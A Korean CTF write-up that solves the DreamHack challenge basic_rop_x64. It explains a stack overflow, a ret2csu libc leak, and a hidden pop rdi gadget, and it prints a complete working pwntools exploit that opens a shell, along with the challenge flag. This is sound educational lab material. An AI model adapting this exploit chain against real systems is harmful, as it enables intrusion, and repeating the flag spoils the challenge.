[๐Ÿฅ‰ Bronze 2] pop rdi ๊ฐ€์ ฏ์ด ์—†์„ ๋•Œ โ€” DreamHack basic_rop_x64 ret2csu ํ’€์ด

2026-07-02ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‰ Bronze 2] pop rdi ๊ฐ€์ ฏ์ด ์—†์„ ๋•Œ โ€” DreamHack basic_rop_x64 ret2csu ํ’€์ด

canary ์—†๋Š” ์Šคํƒ BOF์— NX๋งŒ ์ผœ์ง„ 64๋น„ํŠธ ๋ฐ”์ด๋„ˆ๋ฆฌ. ๋ช…์‹œ์ ์ธ pop rdi;ret ๊ฐ€์ ฏ์ด ์—†์–ด์„œ __libc_csu_init ์˜ ๋ ˆ์ง€์Šคํ„ฐ ์„ธํŒ… ๋ฃจํ‹ด(ret2csu)์œผ๋กœ write(1, &GOT[read], 8)์„ ํ˜ธ์ถœํ•ด libc๋ฅผ leakํ•˜๊ณ , "pop r15" ๋ช…๋ น ํ•œ๊ฐ€์šด๋ฐ ์ˆจ์–ด ์žˆ๋Š” pop rdi;ret๋กœ system("/bin/sh")๊นŒ์ง€ ์ž‡๋Š”๋‹ค.

๋ฌธ์ œ: DreamHack โ€” basic_rop_x64 ๋ถ„๋ฅ˜: Pwnable ๋‚œ์ด๋„: ๐Ÿฅ‰ Bronze 2 FLAG: DH{6311151d71a102eb27195bceb61097c15cd2bcd9fd117fc66293e8c780ae104e}

์ด๋ฆ„ ๊ทธ๋Œ€๋กœ "๊ธฐ๋ณธ ROP" ๋ฌธ์ œ์ธ๋ฐ, ์ •์ž‘ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋œฏ์–ด๋ณด๋ฉด ๊ธฐ๋ณธ์ ์ธ ์กฐ๊ฐ ํ•˜๋‚˜๊ฐ€ ๋น ์ ธ ์žˆ๋‹ค. system("/bin/sh")๋ฅผ ๋ถ€๋ฅด๋ ค๋ฉด rdi์— ๋ฌธ์ž์—ด ์ฃผ์†Œ๋ฅผ ๋„ฃ์–ด์•ผ ํ•˜๋Š”๋ฐ, ์ด ์ž‘๊ณ  static-ishํ•œ ๋ฐ”์ด๋„ˆ๋ฆฌ ์–ด๋””์—๋„ pop rdi; ret ๊ฐ™์€ ๊น”๋”ํ•œ ๊ฐ€์ ฏ์ด ์•ˆ ๋ณด์ธ๋‹ค. ๋‚จ์€ ๊ฑด __libc_csu_init๋ฟ์ด๋‹ค.

ROP ์ฒด์ธ ์ „์ฒด โ€” 1๋‹จ๊ณ„ libc leak, 2๋‹จ๊ณ„ system ํ˜ธ์ถœ
ROP ์ฒด์ธ ์ „์ฒด โ€” 1๋‹จ๊ณ„ libc leak, 2๋‹จ๊ณ„ system ํ˜ธ์ถœ


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…basic_rop_x64
๋‚œ์ด๋„๐Ÿฅ‰ Bronze 2
๋ถ„๋ฅ˜Pwnable
์ œ๊ณต64๋น„ํŠธ ELF ๋ฐ”์ด๋„ˆ๋ฆฌ + ์†Œ์Šค + libc.so.6 + ์›๊ฒฉ ์„œ๋ฒ„
๋ณดํ˜ธ ๊ธฐ๋ฒ•NX on ยท Stack Canary off ยท PIE off ยท Partial RELRO
ํ•ต์‹ฌ ๊ธฐ๋ฒ•ret2csu ๋กœ pop rdi ๊ฐ€์ ฏ ์—†์ด 3-์ธ์ž ํ•จ์ˆ˜ ํ˜ธ์ถœ โ†’ libc leak โ†’ ret2libc

์นด๋‚˜๋ฆฌ๊ฐ€ ์—†์–ด์„œ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฎ๋Š” ๊ฒƒ ์ž์ฒด๋Š” ์•„๋ฌด ๋ฐฉํ•ด๋„ ์•ˆ ๋ฐ›๋Š”๋‹ค. ๋ฌธ์ œ๋Š” NX๊ฐ€ ์ผœ์ ธ ์žˆ์–ด ์Šคํƒ์— ์…ธ์ฝ”๋“œ๋ฅผ ๋ชป ์˜ฌ๋ฆฐ๋‹ค๋Š” ๊ฒƒ๊ณผ, system์„ ๋ถ€๋ฅผ pop rdi;ret ๊ฐ€์ ฏ์ด ๋ฐ”์ด๋„ˆ๋ฆฌ์— ์•ˆ ๋ณด์ธ๋‹ค๋Š” ๊ฒƒ. __libc_csu_init์˜ ๋ ˆ์ง€์Šคํ„ฐ ์„ธํŒ… ๋ฃจํ‹ด์œผ๋กœ write(1, &GOT[read], 8)์„ ํ˜ธ์ถœํ•ด libc ์ฃผ์†Œ๋ฅผ ํ˜๋ฆฌ๊ณ , ๋ช…๋ น์–ด ์ค‘๊ฐ„ ์˜คํ”„์…‹์— ์ˆจ์–ด ์žˆ๋Š” ๊ฐ€์ ฏ ํ•˜๋‚˜๋ฅผ ์ฐพ์•„ system("/bin/sh")๋กœ ๋งˆ๋ฌด๋ฆฌํ•œ๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” NX, ๊ทธ๋ฆฌ๊ณ  "๊ฐ€์ ฏ์ด ์—†์„ ๋•Œ"

**NX(No-eXecute)**๋Š” ์Šคํƒ ๊ฐ™์€ ๋ฐ์ดํ„ฐ ์˜์—ญ์—์„œ ์ฝ”๋“œ ์‹คํ–‰์„ ๋ง‰๋Š” ๋ณดํ˜ธ ๊ธฐ๋ฒ•์ด๋‹ค. ์ผœ์ ธ ์žˆ์œผ๋ฉด ์Šคํƒ์— ์…ธ์ฝ”๋“œ๋ฅผ ์˜ฌ๋ ค๋„ ์‹คํ–‰ ์ž์ฒด๊ฐ€ ์•ˆ ๋˜๋‹ˆ, ๊ณต๊ฒฉ์ž๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌยท๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์— ์ด๋ฏธ ์žˆ๋Š” ์ฝ”๋“œ ์กฐ๊ฐ(๊ฐ€์ ฏ)์„ ์ด์–ด ๋ถ™์—ฌ ์‹คํ–‰ ํ๋ฆ„์„ ์กฐ๋ฆฝํ•ด์•ผ ํ•œ๋‹ค โ€” ์ด๊ฒŒ ROP(Return Oriented Programming)๋‹ค.

๋ฆฌ๋ˆ…์Šค x86-64 ํ•จ์ˆ˜ ํ˜ธ์ถœ ๊ทœ์•ฝ(System V ABI)์€ ์ฒซ ์„ธ ์ •์ˆ˜ ์ธ์ž๋ฅผ rdi, rsi, rdx ์ˆœ์œผ๋กœ ๋„˜๊ธด๋‹ค. system("/bin/sh")์ฒ˜๋Ÿผ ์ธ์ž ํ•˜๋‚˜์งœ๋ฆฌ ํ˜ธ์ถœ๋„ rdi๋ฅผ ์›ํ•˜๋Š” ๊ฐ’์œผ๋กœ ์ฑ„์šธ ๋ฐฉ๋ฒ•์ด ์žˆ์–ด์•ผ ํ•˜๋Š”๋ฐ, ์ปดํŒŒ์ผ๋Ÿฌ๊ฐ€ ๋„‰๋„‰ํ•˜๊ฒŒ ์ฝ”๋“œ๋ฅผ ์งœ๋Š” ํฐ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ผ๋ฉด ์šฐ์—ฐํžˆ pop rdi; ret ํ•œ ์ค„ ์ •๋„๋Š” ์–ด๋””์„ ๊ฐ€ ๋‚˜์˜จ๋‹ค. ์ด ๋ฌธ์ œ๋Š” ๊ทธ๋Ÿฐ ์—ฌ์œ ๊ฐ€ ์—†๋Š” ์ž‘์€ ๋ฐ”์ด๋„ˆ๋ฆฌ๋‹ค. checksec๋ถ€ํ„ฐ ํ™•์ธํ•ด ๋ณธ๋‹ค.

pwn checksec ./basic_rop_x64

checksec โ€” canary ์—†์Œ, PIE ์—†์Œ, NX๋งŒ ์ผœ์ง
checksec โ€” canary ์—†์Œ, PIE ์—†์Œ, NX๋งŒ ์ผœ์ง

No PIE๋ผ ์ฝ”๋“œ ์ฃผ์†Œ๊ฐ€ ๊ณ ์ •์ด๊ณ , No canary๋ผ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๊นŒ์ง€ ๋ฐ”๋กœ ๋ฎ์„ ์ˆ˜ ์žˆ๋‹ค. ์œ ์ผํ•œ ์žฅ์• ๋ฌผ์€ NX enabled ํ•˜๋‚˜๋ฟ์ด๋‹ค.


๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ

์†Œ์Šค๋Š” ์ •๋ง ์งง๋‹ค.

int main(int argc, char *argv[]) {
    char buf[0x40] = {};
 
    initialize();               // setvbuf + alarm(30)
 
    read(0, buf, 0x400);        // buf๋Š” 0x40์ธ๋ฐ 0x400์„ ์ฝ๋Š”๋‹ค โ€” BOF
    write(1, buf, sizeof(buf)); // ์ฒ˜์Œ 0x40๋ฐ”์ดํŠธ๋งŒ ๊ทธ๋Œ€๋กœ ๋˜๋Œ๋ ค์คŒ
 
    return 0;
}

buf๋Š” 0x40๋ฐ”์ดํŠธ์ธ๋ฐ read๋Š” 0x400๋ฐ”์ดํŠธ๋ฅผ ๋ฐ›๋Š”๋‹ค. ์นด๋‚˜๋ฆฌ๊ฐ€ ์—†์œผ๋‹ˆ ์ €์žฅ๋œ rbp์™€ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๊นŒ์ง€ ๊ทธ๋Œ€๋กœ ๋ฎ์ธ๋‹ค. ๋””์Šค์–ด์…ˆ๋ธ”๋กœ ์ •ํ™•ํ•œ ์Šคํƒ ๋ฐฐ์น˜๋ฅผ ํ™•์ธํ•œ๋‹ค.

objdump -d -M intel ./basic_rop_x64 --start-address=0x4007ba --stop-address=0x40081a

main ๋””์Šค์–ด์…ˆ๋ธ” โ€” buf๋Š” rbp-0x40, read 0x400 vs buf 0x40
main ๋””์Šค์–ด์…ˆ๋ธ” โ€” buf๋Š” rbp-0x40, read 0x400 vs buf 0x40

lea rdx,[rbp-0x40]์œผ๋กœ buf๊ฐ€ rbp-0x40์— ์žˆ๋Š” ๊ฑธ ์•Œ ์ˆ˜ ์žˆ๋‹ค. ์ €์žฅ๋œ rbp(8๋ฐ”์ดํŠธ)๊นŒ์ง€ ํ•ฉ์น˜๋ฉด buf์—์„œ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๊นŒ์ง€ ๊ฑฐ๋ฆฌ๋Š” 0x40 + 8 = 0x48. ์ด ์˜คํ”„์…‹ ๋’ค์— ์›ํ•˜๋Š” ์ฃผ์†Œ๋ฅผ ์–ผ๋งˆ๋“ ์ง€ ์ด์–ด ๋ถ™์ผ ์ˆ˜ ์žˆ๋‹ค.

write(1, buf, 0x40)์€ ๊ทธ๋ƒฅ ์šฐ๋ฆฌ๊ฐ€ ๋ณด๋‚ธ ์ฒ˜์Œ 0x40๋ฐ”์ดํŠธ๋ฅผ ๊ทธ๋Œ€๋กœ ๋Œ๋ ค์ค„ ๋ฟ์ด๋ผ ์—ฌ๊ธฐ์„  leak์— ๋ชป ์“ด๋‹ค โ€” ์ •๋ณด ๋…ธ์ถœ์€ ์šฐ๋ฆฌ๊ฐ€ ์ง์ ‘ ๋งŒ๋“ค์–ด์•ผ ํ•œ๋‹ค.


๐Ÿงฑ ๋ฐฐ๊ฒฝ โ€” ์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ

๋ฒ„ํผ ๊ฒฝ๊ณ„๋ฅผ ๋„˜๋Š” ์ž…๋ ฅ์ด ์ธ์ ‘ํ•œ ์Šคํƒ ๋ฐ์ดํ„ฐ(์ €์žฅ๋œ rbp, ๋ฐ˜ํ™˜ ์ฃผ์†Œ)๋ฅผ ๊ทธ๋Œ€๋กœ ๋ฎ์–ด์“ฐ๋Š” ๊ฒŒ BOF์˜ ๋ณธ์งˆ์ด๋‹ค.

๋ฒ„ํผ ํฌ๊ธฐ๋ฅผ ๋„˜๋Š” ์ž…๋ ฅ์ด ์ธ์ ‘ ๋ฐ์ดํ„ฐ๋ฅผ ๋ฎ์–ด์“ฐ๋Š” ์˜ˆ์‹œ
๋ฒ„ํผ ํฌ๊ธฐ๋ฅผ ๋„˜๋Š” ์ž…๋ ฅ์ด ์ธ์ ‘ ๋ฐ์ดํ„ฐ๋ฅผ ๋ฎ์–ด์“ฐ๋Š” ์˜ˆ์‹œ

์ถœ์ฒ˜: Wikimedia Commons, CC BY-SA 2.0

์ด ๋ฌธ์ œ๋Š” ์นด๋‚˜๋ฆฌ๋„ ์—†๊ณ  PIE๋„ ๊บผ์ ธ ์žˆ์–ด์„œ BOF ์ž์ฒด์˜ ๋‚œ์ด๋„๋Š” ๋‚ฎ๋‹ค. ์ง„์งœ ๋ฌธ์ œ๋Š” ๊ทธ๋‹ค์Œ ๋‹จ๊ณ„ โ€” NX ๋•Œ๋ฌธ์— ์…ธ์ฝ”๋“œ๋ฅผ ๋ชป ์“ฐ๋‹ˆ, ๋ฎ์–ด์“ด ๋ฐ˜ํ™˜ ์ฃผ์†Œ๊ฐ€ ๊ฐ€๋ฆฌํ‚ฌ ๊ณณ์„ ์ฝ”๋“œ ์•ˆ์—์„œ ์ฐพ์•„์•ผ ํ•œ๋‹ค๋Š” ์ ์ด๋‹ค.


๐Ÿ’ฃ ํ•ต์‹ฌ โ€” ret2csu ๋กœ ์ธ์ž 3๊ฐœ ์ฑ„์šฐ๊ธฐ

์™œ ํ•˜ํ•„ __libc_csu_init์ธ๊ฐ€

nm/objdump๋กœ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋’ค์ ธ๋„ pop rdi; ret์ด ๋‹จ๋…์œผ๋กœ๋Š” ์•ˆ ๋ณด์ธ๋‹ค. ๋Œ€์‹  ์ •์  ๋งํฌ ์Šคํ…์ธ __libc_csu_init์ด ์žˆ๋‹ค โ€” glibc๊ฐ€ .init_array์˜ ๊ฐ ์ดˆ๊ธฐํ™” ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•  ๋•Œ ์“ฐ๋Š” ๋ฒ”์šฉ ๋ฃจํ”„์ธ๋ฐ, ์ด ๋ฃจํ”„์˜ ์–ด์…ˆ๋ธ”๋ฆฌ๊ฐ€ ์šฐ์—ฐํžˆ๋„ ์ตœ๊ณ ์˜ ROP ๊ฐ€์ ฏ ์ฐฝ๊ณ ๋‹ค.

objdump -d -M intel ./basic_rop_x64 --start-address=0x400860 --stop-address=0x400885

__libc_csu_init ๊ฐ€์ ฏ โ€” csu_pop(๋ ˆ์ง€์Šคํ„ฐ 6๊ฐœ pop) + csu_call(rdx/rsi/edi ์„ธํŒ… ํ›„ ๊ฐ„์ ‘ํ˜ธ์ถœ)
__libc_csu_init ๊ฐ€์ ฏ โ€” csu_pop(๋ ˆ์ง€์Šคํ„ฐ 6๊ฐœ pop) + csu_call(rdx/rsi/edi ์„ธํŒ… ํ›„ ๊ฐ„์ ‘ํ˜ธ์ถœ)

๋‘ ์กฐ๊ฐ์ด ๋ถ™์–ด ์žˆ๋‹ค.

  • csu_pop (0x40087a): pop rbx,rbp,r12,r13,r14,r15; ret โ€” ๋ ˆ์ง€์Šคํ„ฐ 6๊ฐœ๋ฅผ ํ•œ ๋ฒˆ์— ์ฑ„์šด๋‹ค.
  • csu_call (0x400860): mov rdx,r13; mov rsi,r14; mov edi,r15d; call [r12+rbx*8] โ€” r13/r14/r15๋ฅผ rdx/rsi/edi๋กœ ์˜ฎ๊ธด ๋’ค r12+rbx*8 ์ฃผ์†Œ์˜ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค.

csu_pop์œผ๋กœ ์—ฌ์„ฏ ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ์„ธํŒ…ํ•˜๊ณ  csu_call๋กœ ๋›ฐ์–ด๋“ค๋ฉด, rdxยทrsiยทedi ์„ธ ์ธ์ž๋ฅผ ๋™์‹œ์— ์ฑ„์šด ์ฑ„๋กœ ์ž„์˜์˜ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๋‹ค โ€” ์ด๊ฒŒ ret2csu๋‹ค. rbx=0, rbp=1๋กœ ๋งž์ถ”๋ฉด call [r12+0]์„ ์ •ํ™•ํžˆ ํ•œ ๋ฒˆ๋งŒ ์‹คํ–‰ํ•˜๊ณ  ๋น ์ ธ๋‚˜์˜จ๋‹ค.

์ด ๋ฌธ์ œ์—์„œ ๋ถ€๋ฅผ ํ•จ์ˆ˜๋Š” write(fd, buf, len). GOT์—์„œ write์˜ ์‹ค์ œ ์ฃผ์†Œ๋ฅผ ๊ฐ€์ ธ์™€ r12์— ๋„ฃ๊ณ , r13=8(๊ธธ์ด), r14=&GOT[read](leak ๋Œ€์ƒ), r15=1(fd=stdout)๋กœ ์ฑ„์šฐ๋ฉด write(1, &GOT[read], 8)์ด ์‹คํ–‰๋˜์–ด read()์˜ ์‹ค์ œ libc ์ฃผ์†Œ 8๋ฐ”์ดํŠธ๊ฐ€ ์†Œ์ผ“์œผ๋กœ ๊ทธ๋Œ€๋กœ ๋˜๋Œ์•„์˜จ๋‹ค.

python3 -c "
from pwn import ELF
e = ELF('./basic_rop_x64', checksec=False)
print('got_read ', hex(e.got['read']))
print('got_write', hex(e.got['write']))
"
got_read  0x601030
got_write 0x601020

puts(got_read)์ฒ˜๋Ÿผ ๋ฌธ์ž์—ด ํ•จ์ˆ˜๋กœ leakํ•˜๋ฉด ์ฃผ์†Œ์— ๋„๋ฐ”์ดํŠธ๊ฐ€ ์„ž์˜€์„ ๋•Œ ์ค‘๊ฐ„์— ์ž˜๋ฆด ์œ„ํ—˜์ด ์žˆ๋Š”๋ฐ, write๋Š” ๊ธธ์ด๋ฅผ ์ง์ ‘ ์ง€์ •ํ•˜๋‹ˆ 8๋ฐ”์ดํŠธ๊ฐ€ ํ•ญ์ƒ ํ†ต์งธ๋กœ ๋‚˜์˜จ๋‹ค.

leak์ด ๋๋‚˜๋ฉด csu_pop์˜ ์—ํ•„๋กœ๊ทธ๊ฐ€ ๋‹ค์‹œ ๋ ˆ์ง€์Šคํ„ฐ 6๊ฐœ๋ฅผ popํ•œ ๋’ค ret์œผ๋กœ ๋Œ์•„์˜จ๋‹ค๋Š” ์ ๋„ ํŽ˜์ด๋กœ๋“œ์— ๋ฐ˜์˜ํ•ด์•ผ ํ•œ๋‹ค โ€” ์ด์–ด์„œ ์Šคํƒ ์ •๋ ฌ์šฉ ret ๊ฐ€์ ฏ(0x4005a9) ํ•˜๋‚˜๋ฅผ ๋” ๋„ฃ๊ณ  main์œผ๋กœ ๋ณต๊ท€์‹œํ‚ค๋ฉด, ์นด๋‚˜๋ฆฌ๋„ ์—†๊ณ  ์ „์—ญ ์ƒํƒœ๋„ ๊ฑฐ์˜ ๊ทธ๋Œ€๋กœ๋ผ ํ”„๋กœ๊ทธ๋žจ์ด ์ฒ˜์Œ๋ถ€ํ„ฐ ๋‹ค์‹œ ์‹คํ–‰๋˜๋Š” ๊ฒƒ์ฒ˜๋Ÿผ ๋‘ ๋ฒˆ์งธ ์ž…๋ ฅ์„ ๋˜ ๋ฐ›๋Š”๋‹ค.

์ˆจ์–ด ์žˆ๋˜ pop rdi; ret

libc ์ฃผ์†Œ๋ฅผ ํ™•๋ณดํ–ˆ์œผ๋‹ˆ ์ด์ œ system(binsh_addr)๋งŒ ๋ถ€๋ฅด๋ฉด ๋œ๋‹ค. csu_pop์€ rdi๋ฅผ ์ง์ ‘ ์ฑ„์›Œ์ฃผ์ง€ ์•Š์œผ๋‹ˆ ๋‹ค๋ฅธ ๊ฐ€์ ฏ์ด ํ•„์š”ํ•œ๋ฐ, __libc_csu_init ๋์ž๋ฝ์„ 1๋ฐ”์ดํŠธ ์–ด๊ธ‹๋‚˜๊ฒŒ ์ฝ์œผ๋ฉด ๋‹ต์ด ๋‚˜์˜จ๋‹ค.

objdump -d -M intel ./basic_rop_x64 --start-address=0x400880 --stop-address=0x400885
xxd -s 0x883 -l 2 basic_rop_x64

0x400883 ์—์„œ ์‹œ์ž‘ํ•˜๋ฉด "pop r15"(41 5f) ์˜ ๋’ท๋ฐ”์ดํŠธ 5f๊ฐ€ pop rdi ์˜คํ”ผ์ฝ”๋“œ๋กœ ์žฌํ•ด์„๋œ๋‹ค
0x400883 ์—์„œ ์‹œ์ž‘ํ•˜๋ฉด "pop r15"(41 5f) ์˜ ๋’ท๋ฐ”์ดํŠธ 5f๊ฐ€ pop rdi ์˜คํ”ผ์ฝ”๋“œ๋กœ ์žฌํ•ด์„๋œ๋‹ค

objdump๊ฐ€ ๋ณด์—ฌ์ฃผ๋Š” ์ •์‹ ๋ช…๋ น์€ pop r14; pop r15; ret(41 5e / 41 5f / c3)์ด๋‹ค. ๊ทธ๋Ÿฐ๋ฐ x86์€ ๊ฐ€๋ณ€ ๊ธธ์ด ๋ช…๋ น์–ด๋ผ ์•„๋ฌด ๋ฐ”์ดํŠธ์—์„œ๋‚˜ ์‹คํ–‰์„ ์‹œ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค. 0x400883์€ 41 5f(pop r15)์˜ ๋‘ ๋ฒˆ์งธ ๋ฐ”์ดํŠธ, ์ฆ‰ 0x5f ํ•˜๋‚˜๋‹ค. REX ํ”„๋ฆฌํ”ฝ์Šค(0x41) ์—†์ด 0x5f๋Š” ๊ทธ๋ƒฅ pop rdi๊ณ , ๋ฐ”๋กœ ๋’ค์— c3(ret)๊ฐ€ ์ด์–ด์ง„๋‹ค.

0x400883:  5f c3   โ†’   pop rdi ; ret

๋ฐ”์ด๋„ˆ๋ฆฌ ์–ด๋””์—๋„ "์„ค๊ณ„๋œ" pop rdi;ret์€ ์—†์ง€๋งŒ, pop r15๋ผ๋Š” ๋‹ค๋ฅธ ๋ช…๋ น์˜ ๋ชธํ†ต ์†์— ์šฐ์—ฐํžˆ ํ•˜๋‚˜๊ฐ€ ๊ฒน์ณ ์žˆ๋˜ ์…ˆ์ด๋‹ค. system๋„ ์ž๊ธฐ ๋‚ด๋ถ€์—์„œ ์Šคํƒ ์ •๋ ฌ์„ ์š”๊ตฌํ•˜๋‹ˆ, ์—ฌ๊ธฐ์—๋„ ret ๊ฐ€์ ฏ(0x4005a9) ํ•œ ์นธ์„ ๋ผ์›Œ 16๋ฐ”์ดํŠธ ์ •๋ ฌ์„ ๋งž์ถ˜ ๋’ค system์„ ํ˜ธ์ถœํ•œ๋‹ค.


๐ŸŽฏ ์ต์Šคํ”Œ๋กœ์ž‡ ์„ค๊ณ„

์ „์ฒด ํ๋ฆ„์„ ์ •๋ฆฌํ•˜๋ฉด ์ด๋ ‡๋‹ค.

1๋‹จ๊ณ„ ํŽ˜์ด๋กœ๋“œ โ€” 'A'ร—0x48 ํŒจ๋”ฉ โ†’ csu_pop โ†’ (rbx=0, rbp=1, r12=&GOT[write], r13=8, r14=&GOT[read], r15=1) โ†’ csu_call โ†’ dummyร—6(์—ํ•„๋กœ๊ทธ๊ฐ€ ๋‹ค์‹œ pop) โ†’ ret_gadget(์ •๋ ฌ) โ†’ main.

์„œ๋ฒ„๊ฐ€ ์ด ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ฒ˜๋ฆฌํ•˜๋ฉด ์›๋ž˜ main์˜ write(1, buf, 0x40) ์—์ฝ”๊ฐ€ ๋จผ์ € ์˜ค๊ณ , ๊ณง์ด์–ด ์šฐ๋ฆฌ๊ฐ€ ์ฃผ์ž…ํ•œ write(1, &GOT[read], 8) ๊ฒฐ๊ณผ๊ฐ€ ์ด์–ด์„œ ์˜จ๋‹ค. ์•ž์˜ ์—์ฝ”๋ฅผ ๋ฒ„๋ฆฌ๊ณ  ๋’ค์˜ 8๋ฐ”์ดํŠธ๋งŒ ์ทจํ•˜๋ฉด read()์˜ ์‹ค์ œ ์ฃผ์†Œ๋‹ค.

io.send(payload)
io.recvn(BUF, timeout=5)   # main() ์ž์‹ ์˜ echo (์šฐ๋ฆฌ๊ฐ€ ๋ณด๋‚ธ ํŒจ๋”ฉ) ๋ฒ„๋ฆผ
leak = io.recvn(8, timeout=5)
read_addr = u64(leak.ljust(8, b'\x00'))
libc.address = read_addr - libc.symbols['read']

2๋‹จ๊ณ„ ํŽ˜์ด๋กœ๋“œ โ€” 'A'ร—0x48 ํŒจ๋”ฉ โ†’ pop_rdi_ret(0x400883) โ†’ binsh_addr โ†’ ret_gadget(์ •๋ ฌ) โ†’ system_addr. main์ด ๋‹ค์‹œ ์—ด์–ด ์ค€ ๋‘ ๋ฒˆ์งธ ์ž…๋ ฅ์ฐฝ์— ์ด๊ฑธ ๋ณด๋‚ด๋ฉด system("/bin/sh")๊ฐ€ ๋–จ์–ด์ง„๋‹ค.



๐Ÿš€ Full Exploit

์‹ค์ œ๋กœ ๋Œ๋ฆฐ solve.py. pwntools์˜ ELF๋กœ GOTยทlibc ์‹ฌ๋ณผ์„ ๊ทธ๋Œ€๋กœ ๊ฐ€์ ธ์™€ ์˜คํ”„์…‹ ๊ณ„์‚ฐ์„ ์†์œผ๋กœ ํ•˜์ง€ ์•Š๋Š”๋‹ค.

#!/usr/bin/env python3
from pwn import *
 
context.arch = 'amd64'
context.log_level = 'info'
 
HOST = args.HOST or '127.0.0.1'
PORT = int(args.PORT or 15000)
 
e = ELF('./basic_rop_x64')
libc = ELF('./libc.so.6')
 
io = remote(HOST, PORT)
 
BUF = 0x40
OFFSET = BUF + 8  # buf(0x40) + ์ €์žฅ๋œ rbp(8) = ๋ฐ˜ํ™˜ ์ฃผ์†Œ๊นŒ์ง€ ๊ฑฐ๋ฆฌ
 
pop_rdi_ret = 0x400883          # pop rdi ; ret  (pop r15 ์ค‘๊ฐ„์—์„œ ์žฌํ•ด์„)
csu_pop = 0x40087a              # pop rbx,rbp,r12,r13,r14,r15 ; ret
csu_call = 0x400860             # mov rdx,r13; mov rsi,r14; mov edi,r15d; call [r12+rbx*8]
ret_gadget = 0x4005a9           # ์Šคํƒ ์ •๋ ฌ์šฉ ๋‹จ๋… ret
main = e.symbols['main']
 
got_read = e.got['read']
got_write = e.got['write']
 
# ---- 1๋‹จ๊ณ„: write(1, &got_read, 8) ๋กœ libc leak ํ›„ main ์žฌ์ง„์ž… ----
payload = b'A' * OFFSET
payload += p64(csu_pop)
payload += p64(0)             # rbx = 0  -> call [r12 + 0]
payload += p64(1)             # rbp = 1  -> ๋ฃจํ”„ ์ •ํ™•ํžˆ 1ํšŒ
payload += p64(got_write)     # r12 = write ์˜ GOT ์Šฌ๋กฏ (ํ˜ธ์ถœ ๋Œ€์ƒ)
payload += p64(8)             # r13 -> rdx = 8 (๊ธธ์ด)
payload += p64(got_read)      # r14 -> rsi = &got_read (leak ๋Œ€์ƒ)
payload += p64(1)             # r15 -> edi = 1 (fd)
payload += p64(csu_call)
payload += p64(0) * 6         # csu_pop ์—ํ•„๋กœ๊ทธ๊ฐ€ ๋‹ค์‹œ pop ํ•˜๋Š” 6๊ฐœ ๋ ˆ์ง€์Šคํ„ฐ
payload += p64(ret_gadget)    # main ์žฌ์ง„์ž… ์ „ 16๋ฐ”์ดํŠธ ์ •๋ ฌ
payload += p64(main)
 
io.send(payload)
io.recvn(BUF, timeout=5)      # main() ์ž์‹ ์˜ write(1, buf, 0x40) ์—์ฝ” ๋ฒ„๋ฆผ
leak = io.recvn(8, timeout=5)
read_addr = u64(leak.ljust(8, b'\x00'))
log.success(f'leaked read() = {hex(read_addr)}')
 
libc.address = read_addr - libc.symbols['read']
log.success(f'libc base = {hex(libc.address)}')
 
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh\x00'))
 
# ---- 2๋‹จ๊ณ„: ๋ฐ”์ด๋„ˆ๋ฆฌ ์ž์‹ ์˜ pop rdi;ret ๊ฐ€์ ฏ์œผ๋กœ system("/bin/sh") ----
payload2 = b'A' * OFFSET
payload2 += p64(pop_rdi_ret)
payload2 += p64(binsh_addr)
payload2 += p64(ret_gadget)   # system() ๋‚ด๋ถ€ ํ˜ธ์ถœ์„ ์œ„ํ•œ ์ •๋ ฌ
payload2 += p64(system_addr)
 
io.send(payload2)
io.sendline(b'cat flag')
io.interactive()

๋กœ์ปฌ์—์„œ ๋จผ์ € ๊ฒ€์ฆํ•œ๋‹ค. ๋ฌธ์ œ์— ๋”ธ๋ ค ์˜จ Dockerfile์„ ๊ทธ๋Œ€๋กœ ๋นŒ๋“œํ•ด ์‹ค์ œ ๋ฐฐํฌ ํ™˜๊ฒฝ๊ณผ ๋™์ผํ•œ ์กฐ๊ฑด์—์„œ ๋Œ๋ ธ๋‹ค.

FROM ubuntu:22.04@sha256:67211c14fa74f070d27cc59d69a7fa9aeff8e28ea118ef3babc295a0428a6d21
RUN apt-get update && apt-get -y install socat
...
CMD socat -T 30 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user
docker build -t basic_rop_x64_local .
docker run -d -p 15000:10001 basic_rop_x64_local
python3 solve_auto.py HOST=127.0.0.1 PORT=15000

์บก์ณ ์ž๋™ํ™” ํ™˜๊ฒฝ์€ ์ง„์งœ tty๊ฐ€ ์•„๋‹ˆ๋ผ io.interactive()๊ฐ€ ๋ฉˆ์ถฐ ๋ฒ„๋ ค์„œ, ์บก์ณ์šฉ์œผ๋กœ๋Š” io.interactive() ๋Œ€์‹  recvrepeat๋กœ ์ถœ๋ ฅ์„ ๋ฐ›์•„ ๋ฐ”๋กœ ์ข…๋ฃŒํ•˜๋Š” ๋ณ€ํ˜•(solve_auto.py)์„ ์ผ๋‹ค. ROP ์ฒด์ธ ๋กœ์ง์€ ์™„์ „ํžˆ ๋™์ผํ•˜๋‹ค.

